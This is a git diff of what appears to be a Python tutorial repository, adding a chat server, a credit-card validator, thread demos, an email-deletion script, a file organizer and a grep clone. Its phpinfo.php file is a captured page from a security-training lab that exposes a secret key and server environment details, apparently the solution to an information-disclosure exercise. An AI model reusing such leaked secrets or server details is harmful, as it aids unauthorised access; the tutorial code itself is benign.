+SERVER_PORT = 5002 # port we want to use
+separator_token = "" # we will use this to separate the client name & message
+
+# initialize list/set of all connected client's sockets
+client_sockets = set()
+# create a TCP socket
+s = socket.socket()
+# make the port as reusable port
+s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+# bind the socket to the address we specified
+s.bind((SERVER_HOST, SERVER_PORT))
+# listen for upcoming connections
+s.listen(5)
+print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}")
+
+def listen_for_client(cs):
+ """
+ This function keep listening for a message from `cs` socket
+ Whenever a message is received, broadcast it to all other connected clients
+ """
+ while True:
+ try:
+ # keep listening for a message from `cs` socket
+ msg = cs.recv(1024).decode()
+ except Exception as e:
+ # client no longer connected
+ # remove it from the set
+ print(f"[!] Error: {e}")
+ client_sockets.remove(cs)
+ else:
+ # if we received a message, replace the
+ # token with ": " for nice printing
+ msg = msg.replace(separator_token, ": ")
+ # iterate over all connected sockets
+ for client_socket in client_sockets:
+ # and send the message
+ client_socket.send(msg.encode())
+
+
+while True:
+ # we keep listening for new connections all the time
+ client_socket, client_address = s.accept()
+ print(f"[+] {client_address} connected.")
+ # add the new connected client to connected sockets
+ client_sockets.add(client_socket)
+ # start a new thread that listens for each client's messages
+ t = Thread(target=listen_for_client, args=(client_socket,))
+ # make the thread daemon so it ends whenever the main thread ends
+ t.daemon = True
+ # start the thread
+ t.start()
+
+# close client sockets
+for cs in client_sockets:
+ cs.close()
+# close server socket
+s.close()
\ No newline at end of file
diff --git a/python-standard-library/credit-card-validation/README.md b/python-standard-library/credit-card-validation/README.md
new file mode 100644
index 00000000..bee74fdd
--- /dev/null
+++ b/python-standard-library/credit-card-validation/README.md
@@ -0,0 +1 @@
+# [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python)
\ No newline at end of file
diff --git a/python-standard-library/credit-card-validation/credit_card_validation.py b/python-standard-library/credit-card-validation/credit_card_validation.py
new file mode 100644
index 00000000..57a82f5b
--- /dev/null
+++ b/python-standard-library/credit-card-validation/credit_card_validation.py
@@ -0,0 +1,85 @@
+import argparse # Import argparse for command-line argument parsing
+import re # Import re for regular expression matching
+
+# Validate credit card number using Luhn Algorithm
+def luhn_algorithm(card_number):
+ def digits_of(n):
+ return [int(d) for d in str(n)] # Convert each character in the number to an integer
+
+ digits = digits_of(card_number) # Get all digits of the card number
+ odd_digits = digits[-1::-2] # Get digits from the right, skipping one digit each time (odd positions)
+ even_digits = digits[-2::-2] # Get every second digit from the right (even positions)
+
+ checksum = sum(odd_digits) # Sum all odd position digits
+ for d in even_digits:
+ checksum += sum(digits_of(d*2)) # Double each even position digit and sum the resulting digits
+
+ return checksum % 10 == 0 # Return True if checksum modulo 10 is 0
+
+
+# Function to check credit card number using Luhn's alogorithm
+def check_credit_card_number(card_number):
+ card_number = card_number.replace(' ', '') # Remove spaces from the card number
+ if not card_number.isdigit(): # Check if the card number contains only digits
+ return False
+ return luhn_algorithm(card_number) # Validate using the Luhn algorithm
+
+# Function to get the card type based on card number using RegEx
+def get_card_type(card_number):
+ card_number = card_number.replace(' ', '') # Remove spaces from the card number
+ card_types = {
+ "Visa": r"^4[0-9]{12}(?:[0-9]{3})?$", # Visa: Starts with 4, length 13 or 16
+ "MasterCard": r"^5[1-5][0-9]{14}$", # MasterCard: Starts with 51-55, length 16
+ "American Express": r"^3[47][0-9]{13}$", # AmEx: Starts with 34 or 37, length 15
+ "Discover": r"^6(?:011|5[0-9]{2})[0-9]{12}$", # Discover: Starts with 6011 or 65, length 16
+ "JCB": r"^(?:2131|1800|35\d{3})\d{11}$", # JCB: Starts with 2131, 1800, or 35, length 15 or 16
+ "Diners Club": r"^3(?:0[0-5]|[68][0-9])[0-9]{11}$", # Diners Club: Starts with 300-305, 36, or 38, length 14
+ "Maestro": r"^(5018|5020|5038|56|57|58|6304|6759|676[1-3])\d{8,15}$", # Maestro: Various starting patterns, length 12-19
+ "Verve": r"^(506[01]|507[89]|6500)\d{12,15}$" # Verve: Starts with 5060, 5061, 5078, 5079, or 6500, length 16-19
+ }
+
+ for card_type, pattern in card_types.items():
+ if re.match(pattern, card_number): # Check if card number matches the pattern
+ return card_type
+ return "Unknown" # Return Unknown if no pattern matches
+
+
+# Processing a file containing card numbers.
+def process_file(file_path):
+
+ try:
+ with open(file_path, 'r') as file: # Open the file for reading
+ card_numbers = file.readlines() # Read all lines from the file
+ results = {}
+ for card_number in card_numbers:
+ card_number = card_number.strip() # Remove any leading/trailing whitespace
+ is_valid = check_credit_card_number(card_number) # Validate card number
+ card_type = get_card_type(card_number) # Detect card type
+ results[card_number] = (is_valid, card_type) # Store result
+ return results
+ except Exception as e:
+ print(f"Error reading file: {e}") # Print error message if file cannot be read
+ return None
+
+
+def main():
+ parser = argparse.ArgumentParser(description="Check if a credit card number is legitimate and identify its type using the Luhn algorithm.")
+ parser.add_argument('-n', '--number', type=str, help="A single credit card number to validate.") # Argument for single card number
+ parser.add_argument('-f', '--file', type=str, help="A file containing multiple credit card numbers to validate.") # Argument for file input
+
+ args = parser.parse_args() # Parse command-line arguments
+
+ if args.number:
+ is_valid = check_credit_card_number(args.number) # Validate single card number
+ card_type = get_card_type(args.number) # Detect card type
+ print(f"[!] Credit card number {args.number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print result
+
+ if args.file:
+ results = process_file(args.file) # Process file with card numbers
+ if results:
+ for card_number, (is_valid, card_type) in results.items():
+ print(f"[!] Credit card number {card_number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print results for each card number
+
+# Execute tha main function
+if __name__ == '__main__':
+ main()
diff --git a/python-standard-library/credit-card-validation/credit_cards.txt b/python-standard-library/credit-card-validation/credit_cards.txt
new file mode 100644
index 00000000..b0a33fe6
--- /dev/null
+++ b/python-standard-library/credit-card-validation/credit_cards.txt
@@ -0,0 +1,3 @@
+4111111111111111
+5555555555554444
+378282246310005
\ No newline at end of file
diff --git a/python-standard-library/daemon-thread/README.md b/python-standard-library/daemon-thread/README.md
new file mode 100644
index 00000000..9a3e7bce
--- /dev/null
+++ b/python-standard-library/daemon-thread/README.md
@@ -0,0 +1 @@
+# [Daemon Threads in Python](https://www.thepythoncode.com/article/daemon-threads-in-python)
\ No newline at end of file
diff --git a/python-standard-library/daemon-thread/daemon_thread.py b/python-standard-library/daemon-thread/daemon_thread.py
new file mode 100644
index 00000000..74a30ad0
--- /dev/null
+++ b/python-standard-library/daemon-thread/daemon_thread.py
@@ -0,0 +1,18 @@
+import threading
+import time
+
+def func_1():
+ while True:
+ print(f"[{threading.current_thread().name}] Printing this message every 2 seconds")
+ time.sleep(2)
+
+# initiate the thread with daemon set to True
+daemon_thread = threading.Thread(target=func_1, name="daemon-thread", daemon=True)
+# or
+# daemon_thread.daemon = True
+# or
+# daemon_thread.setDaemon(True)
+daemon_thread.start()
+# sleep for 10 seconds and end the main thread
+time.sleep(4)
+# the main thread ends
\ No newline at end of file
diff --git a/python-standard-library/daemon-thread/normal_thread.py b/python-standard-library/daemon-thread/normal_thread.py
new file mode 100644
index 00000000..8de0c7d3
--- /dev/null
+++ b/python-standard-library/daemon-thread/normal_thread.py
@@ -0,0 +1,15 @@
+import threading
+import time
+
+def func():
+ while True:
+ print(f"[{threading.current_thread().name}] Printing this message every 2 seconds")
+ time.sleep(2)
+
+# initiate the thread to call the above function
+normal_thread = threading.Thread(target=func, name="normal_thread")
+# start the thread
+normal_thread.start()
+# sleep for 4 seconds and end the main thread
+time.sleep(4)
+# the main thread ends
\ No newline at end of file
diff --git a/python-standard-library/deleting-emails/README.md b/python-standard-library/deleting-emails/README.md
new file mode 100644
index 00000000..e9583344
--- /dev/null
+++ b/python-standard-library/deleting-emails/README.md
@@ -0,0 +1,6 @@
+# [How to Delete Emails in Python](https://www.thepythoncode.com/article/deleting-emails-in-python)
+To run this:
+- Change `username` and `password` for real email credentials, edit the `imap.search()` line for your use case and run `delete_emails.py`:
+ ```
+ python delete_emails.py
+ ```
\ No newline at end of file
diff --git a/python-standard-library/deleting-emails/delete_emails.py b/python-standard-library/deleting-emails/delete_emails.py
new file mode 100644
index 00000000..7725faac
--- /dev/null
+++ b/python-standard-library/deleting-emails/delete_emails.py
@@ -0,0 +1,49 @@
+import imaplib
+import email
+from email.header import decode_header
+
+# account credentials
+username = "youremailaddress@provider.com"
+password = "yourpassword"
+
+# create an IMAP4 class with SSL
+imap = imaplib.IMAP4_SSL("imap.gmail.com")
+# authenticate
+imap.login(username, password)
+# select the mailbox I want to delete in
+# if you want SPAM, use imap.select("SPAM") instead
+imap.select("INBOX")
+# search for specific mails by sender
+status, messages = imap.search(None, 'FROM "googlealerts-noreply@google.com"')
+# to get all mails
+# status, messages = imap.search(None, "ALL")
+# to get mails by subject
+# status, messages = imap.search(None, 'SUBJECT "Thanks for Subscribing to our Newsletter !"')
+# to get mails after a specific date
+# status, messages = imap.search(None, 'SINCE "01-JAN-2020"')
+# to get mails before a specific date
+# status, messages = imap.search(None, 'BEFORE "01-JAN-2020"')
+# convert messages to a list of email IDs
+messages = messages[0].split(b' ')
+for mail in messages:
+ _, msg = imap.fetch(mail, "(RFC822)")
+ # you can delete the for loop for performance if you have a long list of emails
+ # because it is only for printing the SUBJECT of target email to delete
+ for response in msg:
+ if isinstance(response, tuple):
+ msg = email.message_from_bytes(response[1])
+ # decode the email subject
+ subject = decode_header(msg["Subject"])[0][0]
+ if isinstance(subject, bytes):
+ # if it's a bytes type, decode to str
+ subject = subject.decode()
+ print("Deleting", subject)
+ # mark the mail as deleted
+ imap.store(mail, "+FLAGS", "\\Deleted")
+# permanently remove mails that are marked as deleted
+# from the selected mailbox (in this case, INBOX)
+imap.expunge()
+# close the mailbox
+imap.close()
+# logout from the account
+imap.logout()
\ No newline at end of file
diff --git a/python-standard-library/extension-separator/README.md b/python-standard-library/extension-separator/README.md
new file mode 100644
index 00000000..92aa986d
--- /dev/null
+++ b/python-standard-library/extension-separator/README.md
@@ -0,0 +1 @@
+# [How to Organize Files by Extension in Python](https://www.thepythoncode.com/article/organize-files-by-extension-with-python)
diff --git a/python-standard-library/extension-separator/extension_separator.py b/python-standard-library/extension-separator/extension_separator.py
new file mode 100644
index 00000000..9a50058c
--- /dev/null
+++ b/python-standard-library/extension-separator/extension_separator.py
@@ -0,0 +1,76 @@
+import os
+import glob
+import shutil
+
+# dictionary mapping each extension with its corresponding folder
+# For example, 'jpg', 'png', 'ico', 'gif', 'svg' files will be moved to 'images' folder
+# feel free to change based on your needs
+extensions = {
+ "jpg": "images",
+ "png": "images",
+ "ico": "images",
+ "gif": "images",
+ "svg": "images",
+ "jfif": "images",
+ "sql": "sql",
+ "exe": "programs",
+ "msi": "programs",
+ "pdf": "pdf",
+ "epub": "epub",
+ "xlsx": "excel",
+ "csv": "excel",
+ "rar": "archive",
+ "zip": "archive",
+ "gz": "archive",
+ "tar": "archive",
+ "7z": "archive",
+ "docx": "word",
+ "torrent": "torrent",
+ "txt": "text",
+ "log": "text",
+ "md": "text",
+ "ipynb": "python",
+ "py": "python",
+ "pptx": "powerpoint",
+ "ppt": "powerpoint",
+ "mp3": "audio",
+ "wav": "audio",
+ "mp4": "video",
+ "m3u8": "video",
+ "webm": "video",
+ "ts": "video",
+ "avi": "video",
+ "json": "json",
+ "css": "web",
+ "js": "web",
+ "html": "web",
+ "webp": "web",
+ "apk": "apk",
+ "sqlite3": "sqlite3",
+}
+
+
+if __name__ == "__main__":
+ path = r"E:\Downloads"
+ # setting verbose to 1 (or True) will show all file moves
+ # setting verbose to 0 (or False) will show basic necessary info
+ verbose = 0
+ for extension, folder_name in extensions.items():
+ # get all the files matching the extension
+ files = glob.glob(os.path.join(path, f"*.{extension}"))
+ print(f"[*] Found {len(files)} files with {extension} extension")
+ if not os.path.isdir(os.path.join(path, folder_name)) and files:
+ # create the folder if it does not exist before
+ print(f"[+] Making {folder_name} folder")
+ os.mkdir(os.path.join(path, folder_name))
+ for file in files:
+ # for each file in that extension, move it to the correponding folder
+ basename = os.path.basename(file)
+ dst = os.path.join(path, folder_name, basename)
+ if verbose:
+ print(f"[*] Moving {file} to {dst}")
+ try:
+ shutil.move(file, dst)
+ except Exception as e:
+ print(f"[!] Error: {e}")
+ continue
\ No newline at end of file
diff --git a/python-standard-library/generating-random-data/generate.py b/python-standard-library/generating-random-data/generate.py
index ea6bf2ac..655c9fc6 100644
--- a/python-standard-library/generating-random-data/generate.py
+++ b/python-standard-library/generating-random-data/generate.py
@@ -3,6 +3,8 @@
import string
import secrets
+import numpy as np
+
# generate random integer between a and b (including a and b)
randint = random.randint(1, 500)
print("randint:", randint)
@@ -19,6 +21,14 @@
choices = random.choices(range(1000), k=5)
print("choices:", choices)
+# get a random vector of size 20
+vector = np.random.random((30,))
+print("vector:\n", vector)
+
+# get a random matrix of size (3, 3) in the range [0, 100]
+matrix = np.random.random((3, 3)) * 100
+print("matrix:\n", matrix)
+
# generate a random floating point number from 0.0 <= x <= 1.0
randfloat = random.random()
print("randfloat between 0.0 and 1.0:", randfloat)
diff --git a/python-standard-library/grep-clone/README.md b/python-standard-library/grep-clone/README.md
new file mode 100644
index 00000000..e6023461
--- /dev/null
+++ b/python-standard-library/grep-clone/README.md
@@ -0,0 +1 @@
+# [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python)
\ No newline at end of file
diff --git a/python-standard-library/grep-clone/grep_python.py b/python-standard-library/grep-clone/grep_python.py
new file mode 100644
index 00000000..b3f3fa14
--- /dev/null
+++ b/python-standard-library/grep-clone/grep_python.py
@@ -0,0 +1,33 @@
+# Import the necessary libraries.
+import re, sys
+from colorama import init, Fore
+
+# Initialize colorama.
+init()
+
+# Grep function.
+def grep(pattern, filename):
+ try:
+ found_match = False
+ with open(filename, 'r') as file:
+ for line in file:
+ if re.search(pattern, line):
+ # Print matching lines in green.
+ print(Fore.GREEN + line.strip() + "\n") # We are including new lines to enhance readability.
+ found_match = True
+ if not found_match:
+ # Print message in red if no content is found.
+ print(Fore.RED + f"No content found matching the pattern '{pattern}'.")
+ except FileNotFoundError:
+ # Print error message in red if the file is not found.
+ print(Fore.RED + f"File '{filename}' not found.")
+
+
+if len(sys.argv) != 3:
+ # Print usage message in red if the number of arguments is incorrect.
+ print(Fore.RED + "Usage: python grep_python.py ")
+ sys.exit(1)
+
+pattern = sys.argv[1]
+filename = sys.argv[2]
+grep(pattern, filename)
diff --git a/python-standard-library/grep-clone/phpinfo.php b/python-standard-library/grep-clone/phpinfo.php
new file mode 100644
index 00000000..6d4df079
--- /dev/null
+++ b/python-standard-library/grep-clone/phpinfo.php
@@ -0,0 +1,800 @@
+
+
+
+PHP 7.4.3-4ubuntu2.20 - phpinfo()
+
+
+
+PHP Version 7.4.3-4ubuntu2.20
+
+
+
+System Linux cf00c9c42b69 4.14.336-257.562.amzn2.x86_64 #1 SMP Sat Feb 24 09:50:35 UTC 2024 x86_64
+Build Date Feb 21 2024 13:54:34
+Server API CGI/FastCGI
+Virtual Directory Support disabled
+Configuration File (php.ini) Path /etc/php/7.4/cgi
+Loaded Configuration File /etc/php/7.4/cgi/php.ini
+Scan this dir for additional .ini files /etc/php/7.4/cgi/conf.d
+Additional .ini files parsed /etc/php/7.4/cgi/conf.d/10-opcache.ini,
+/etc/php/7.4/cgi/conf.d/10-pdo.ini,
+/etc/php/7.4/cgi/conf.d/15-xml.ini,
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+/etc/php/7.4/cgi/conf.d/20-gettext.ini,
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+/etc/php/7.4/cgi/conf.d/20-readline.ini,
+/etc/php/7.4/cgi/conf.d/20-shmop.ini,
+/etc/php/7.4/cgi/conf.d/20-simplexml.ini,
+/etc/php/7.4/cgi/conf.d/20-sockets.ini,
+/etc/php/7.4/cgi/conf.d/20-sysvmsg.ini,
+/etc/php/7.4/cgi/conf.d/20-sysvsem.ini,
+/etc/php/7.4/cgi/conf.d/20-sysvshm.ini,
+/etc/php/7.4/cgi/conf.d/20-tokenizer.ini,
+/etc/php/7.4/cgi/conf.d/20-xmlreader.ini,
+/etc/php/7.4/cgi/conf.d/20-xmlwriter.ini,
+/etc/php/7.4/cgi/conf.d/20-xsl.ini,
+/etc/php/7.4/cgi/conf.d/99-academy.ini
+
+PHP API 20190902
+PHP Extension 20190902
+Zend Extension 320190902
+Zend Extension Build API320190902,NTS
+PHP Extension Build API20190902,NTS
+Debug Build no
+Thread Safety disabled
+Zend Signal Handling enabled
+Zend Memory Manager enabled
+Zend Multibyte Support disabled
+IPv6 Support enabled
+DTrace Support available, disabled
+Registered PHP Streams https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar
+Registered Stream Socket Transports tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
+Registered Stream Filters zlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, convert.iconv.*
+
+
+
+
+This program makes use of the Zend Scripting Language Engine: Zend Engine v3.4.0, Copyright (c) Zend Technologies with Zend OPcache v7.4.3-4ubuntu2.20, Copyright (c), by Zend Technologies
+
+
+
Configuration
+
+
+Calendar support enabled
+
+
+
+Directive Local Value Master Value
+cgi.check_shebang_line 1 1
+cgi.discard_path 0 0
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+cgi.rfc2616_headers 0 0
+fastcgi.logging 1 1
+
+
+
+PHP Version 7.4.3-4ubuntu2.20
+
+
+Directive Local Value Master Value
+allow_url_fopen On On
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+arg_separator.input & &
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+default_charset UTF-8 UTF-8
+default_mimetype text/html text/html
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+error_reporting 22527 22527
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+extension_dir /usr/lib/php/20190902 /usr/lib/php/20190902
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+hard_timeout 2 2
+highlight.comment #FF8000 #FF8000
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+highlight.html #000000 #000000
+highlight.keyword #007700 #007700
+highlight.string #DD0000 #DD0000
+html_errors On On
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+report_memleaks On On
+report_zend_debug On On
+request_order GP GP
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+sendmail_path /usr/sbin/sendmail -t -i /usr/sbin/sendmail -t -i
+serialize_precision -1 -1
+short_open_tag Off Off
+SMTP localhost localhost
+smtp_port 25 25
+sys_temp_dir no value no value
+syslog.facility LOG_USER LOG_USER
+syslog.filter no-ctrl no-ctrl
+syslog.ident php php
+track_errors Off Off
+unserialize_callback_func no value no value
+upload_max_filesize 2M 2M
+upload_tmp_dir no value no value
+user_dir no value no value
+user_ini.cache_ttl 300 300
+user_ini.filename .user.ini .user.ini
+variables_order GPCS GPCS
+xmlrpc_error_number 0 0
+xmlrpc_errors Off Off
+zend.assertions -1 -1
+zend.detect_unicode On On
+zend.enable_gc On On
+zend.exception_ignore_args Off Off
+zend.multibyte Off Off
+zend.script_encoding no value no value
+zend.signal_check Off Off
+
+
+
+ctype functions enabled
+
+
+
+date/time support enabled
+timelib version 2018.03
+"Olson" Timezone Database Version 0.system
+Timezone Database internal
+Default timezone UTC
+
+
+Directive Local Value Master Value
+date.default_latitude 31.7667 31.7667
+date.default_longitude 35.2333 35.2333
+date.sunrise_zenith 90.583333 90.583333
+date.sunset_zenith 90.583333 90.583333
+date.timezone no value no value
+
+
+
+DOM/XML enabled
+DOM/XML API Version 20031129
+libxml Version 2.9.10
+HTML Support enabled
+XPath Support enabled
+XPointer Support enabled
+Schema Support enabled
+RelaxNG Support enabled
+
+
+
+EXIF Support enabled
+Supported EXIF Version 0220
+Supported filetypes JPEG, TIFF
+Multibyte decoding support using mbstring disabled
+Extended EXIF tag formats Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
+
+
+Directive Local Value Master Value
+exif.decode_jis_intel JIS JIS
+exif.decode_jis_motorola JIS JIS
+exif.decode_unicode_intel UCS-2LE UCS-2LE
+exif.decode_unicode_motorola UCS-2BE UCS-2BE
+exif.encode_jis no value no value
+exif.encode_unicode ISO-8859-15 ISO-8859-15
+
+
+
+
+Directive Local Value Master Value
+ffi.enable preload preload
+ffi.preload no value no value
+
+
+
+fileinfo support enabled
+libmagic 537
+
+
+
+Input Validation and Filtering enabled
+
+
+Directive Local Value Master Value
+filter.default unsafe_raw unsafe_raw
+filter.default_flags no value no value
+
+
+
+FTP support enabled
+FTPS support enabled
+
+
+
+GetText Support enabled
+
+
+
+hash support enabled
+Hashing Engines md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
+
+
+MHASH support Enabled
+MHASH API Version Emulated Support
+
+
+
+iconv support enabled
+iconv implementation glibc
+iconv library version 2.31
+
+
+Directive Local Value Master Value
+iconv.input_encoding no value no value
+iconv.internal_encoding no value no value
+iconv.output_encoding no value no value
+
+
+
+
+
+libXML support active
+libXML Compiled Version 2.9.10
+libXML Loaded Version 20910
+libXML streams enabled
+
+
+
+OpenSSL support enabled
+OpenSSL Library Version OpenSSL 1.1.1f 31 Mar 2020
+OpenSSL Header Version OpenSSL 1.1.1f 31 Mar 2020
+Openssl default config /usr/lib/ssl/openssl.cnf
+
+
+Directive Local Value Master Value
+openssl.cafile no value no value
+openssl.capath no value no value
+
+
+
+
+
+PCRE (Perl Compatible Regular Expressions) Support enabled
+PCRE Library Version 10.34 2019-11-21
+PCRE Unicode Version 12.1.0
+PCRE JIT Support enabled
+PCRE JIT Target x86 64bit (little endian + unaligned)
+
+
+Directive Local Value Master Value
+pcre.backtrack_limit 1000000 1000000
+pcre.jit 1 1
+pcre.recursion_limit 100000 100000
+
+
+
+PDO support enabled
+PDO drivers no value
+
+
+
+Phar: PHP Archive support enabled
+Phar API version 1.1.1
+Phar-based phar archives enabled
+Tar-based phar archives enabled
+ZIP-based phar archives enabled
+gzip compression enabled
+bzip2 compression disabled (install ext/bz2)
+Native OpenSSL support enabled
+
+
+
+Phar based on pear/PHP_Archive, original concept by Davey Shafik. Phar fully realized by Gregory Beaver and Marcus Boerger. Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
+
+
+Directive Local Value Master Value
+phar.cache_list no value no value
+phar.readonly On On
+phar.require_hash On On
+
+
+
+
+
+Readline Support enabled
+Readline library EditLine wrapper
+
+
+Directive Local Value Master Value
+cli.pager no value no value
+cli.prompt \b \> \b \>
+
+
+
+
+
+Session Support enabled
+Registered save handlers files user
+Registered serializer handlers php_serialize php php_binary
+
+
+Directive Local Value Master Value
+session.auto_start Off Off
+session.cache_expire 180 180
+session.cache_limiter nocache nocache
+session.cookie_domain no value no value
+session.cookie_httponly no value no value
+session.cookie_lifetime 0 0
+session.cookie_path / /
+session.cookie_samesite no value no value
+session.cookie_secure 0 0
+session.gc_divisor 1000 1000
+session.gc_maxlifetime 1440 1440
+session.gc_probability 0 0
+session.lazy_write On On
+session.name PHPSESSID PHPSESSID
+session.referer_check no value no value
+session.save_handler files files
+session.save_path /var/lib/php/sessions /var/lib/php/sessions
+session.serialize_handler php php
+session.sid_bits_per_character 5 5
+session.sid_length 26 26
+session.upload_progress.cleanup On On
+session.upload_progress.enabled On On
+session.upload_progress.freq 1% 1%
+session.upload_progress.min_freq 1 1
+session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
+session.upload_progress.prefix upload_progress_ upload_progress_
+session.use_cookies 1 1
+session.use_only_cookies 1 1
+session.use_strict_mode 0 0
+session.use_trans_sid 0 0
+
+
+
+
+
+SimpleXML support enabled
+Schema support enabled
+
+
+
+Sockets Support enabled
+
+
+
+sodium support enabled
+libsodium headers version 1.0.18
+libsodium library version 1.0.18
+
+
+
+SPL support enabled
+Interfaces OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
+Classes AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException
+
+
+
+Dynamic Library Support enabled
+Path to sendmail /usr/sbin/sendmail -t -i
+
+
+Directive Local Value Master Value
+assert.active 1 1
+assert.bail 0 0
+assert.callback no value no value
+assert.exception 0 0
+assert.quiet_eval 0 0
+assert.warning 1 1
+auto_detect_line_endings 0 0
+default_socket_timeout 60 60
+from no value no value
+session.trans_sid_hosts no value no value
+session.trans_sid_tags a=href,area=href,frame=src,form= a=href,area=href,frame=src,form=
+unserialize_max_depth 4096 4096
+url_rewriter.hosts no value no value
+url_rewriter.tags form= form=
+user_agent no value no value
+
+
+
+sysvmsg support enabled
+
+
+
+sysvsem support enabled
+
+
+
+sysvshm support enabled
+
+
+
+Tokenizer Support enabled
+
+
+
+XML Support active
+XML Namespace Support active
+libxml2 Version 2.9.10
+
+
+
+
+
+
+
+XSL enabled
+libxslt Version 1.1.34
+libxslt compiled against libxml Version 2.9.10
+EXSLT enabled
+libexslt Version 1.1.34
+
+
+
+Opcode Caching Up and Running
+Optimization Enabled
+SHM Cache Enabled
+File Cache Disabled
+Startup OK
+Shared memory model mmap
+Cache hits 0
+Cache misses 1
+Used memory 9168472
+Free memory 125049256
+Wasted memory 0
+Interned Strings Used memory 224744
+Interned Strings Free memory 6066264
+Cached scripts 1
+Cached keys 1
+Max keys 16229
+OOM restarts 0
+Hash keys restarts 0
+Manual restarts 0
+
+
+Directive Local Value Master Value
+opcache.blacklist_filename no value no value
+opcache.consistency_checks 0 0
+opcache.dups_fix Off Off
+opcache.enable On On
+opcache.enable_cli Off Off
+opcache.enable_file_override Off Off
+opcache.error_log no value no value
+opcache.file_cache no value no value
+opcache.file_cache_consistency_checks 1 1
+opcache.file_cache_only 0 0
+opcache.file_update_protection 2 2
+opcache.force_restart_timeout 180 180
+opcache.huge_code_pages Off Off
+opcache.interned_strings_buffer 8 8
+opcache.lockfile_path /tmp /tmp
+opcache.log_verbosity_level 1 1
+opcache.max_accelerated_files 10000 10000
+opcache.max_file_size 0 0
+opcache.max_wasted_percentage 5 5
+opcache.memory_consumption 128 128
+opcache.opt_debug_level 0 0
+opcache.optimization_level 0x7FFEBFFF 0x7FFEBFFF
+opcache.preferred_memory_model no value no value
+opcache.preload no value no value
+opcache.preload_user no value no value
+opcache.protect_memory 0 0
+opcache.restrict_api no value no value
+opcache.revalidate_freq 2 2
+opcache.revalidate_path Off Off
+opcache.save_comments 1 1
+opcache.use_cwd On On
+opcache.validate_permission Off Off
+opcache.validate_root Off Off
+opcache.validate_timestamps On On
+
+
+
+ZLib Support enabled
+Stream Wrapper compress.zlib://
+Stream Filter zlib.inflate, zlib.deflate
+Compiled Version 1.2.11
+Linked Version 1.2.11
+
+
+Directive Local Value Master Value
+zlib.output_compression Off Off
+zlib.output_compression_level -1 -1
+zlib.output_handler no value no value
+
+
Additional Modules
+
+
Environment
+
+Variable Value
+GATEWAY_INTERFACE CGI/1.1
+SUDO_GID 10000
+REMOTE_HOST 105.235.135.13
+USER carlos
+HTTP_ACCEPT_CHARSET *
+SECRET_KEY qpv07o7eirlfsovg81p7ay7m9l8jaw8b
+QUERY_STRING no value
+HOME /home/carlos
+HTTP_USER_AGENT Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
+HTTP_ACCEPT */*
+SCRIPT_FILENAME /home/carlos/cgi-bin/phpinfo.php
+HTTP_HOST 0a8700550346ebd1804c946100f40010.web-security-academy.net
+SUDO_UID 10000
+LOGNAME carlos
+SERVER_SOFTWARE PortSwiggerHttpServer/1.0
+TERM unknown
+PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
+HTTP_ACCEPT_LANGUAGE en-US
+HTTP_REFERER https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
+SERVER_PROTOCOL HTTP/1.1
+HTTP_ACCEPT_ENCODING identity
+SUDO_COMMAND /usr/bin/sh -c /usr/bin/php-cgi
+SHELL /bin/bash
+REDIRECT_STATUS true
+SUDO_USER academy
+REQUEST_METHOD GET
+PWD /home/carlos/cgi-bin
+SERVER_PORT 443
+SCRIPT_NAME /cgi-bin/phpinfo.php
+SERVER_NAME 10.0.4.200
+
+
PHP Variables
+
+Variable Value
+$_SERVER['GATEWAY_INTERFACE'] CGI/1.1
+$_SERVER['SUDO_GID'] 10000
+$_SERVER['REMOTE_HOST'] 105.235.135.13
+$_SERVER['USER'] carlos
+$_SERVER['HTTP_ACCEPT_CHARSET'] *
+$_SERVER['SECRET_KEY'] qpv07o7eirlfsovg81p7ay7m9l8jaw8b
+$_SERVER['QUERY_STRING'] no value
+$_SERVER['HOME'] /home/carlos
+$_SERVER['HTTP_USER_AGENT'] Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
+$_SERVER['HTTP_ACCEPT'] */*
+$_SERVER['SCRIPT_FILENAME'] /home/carlos/cgi-bin/phpinfo.php
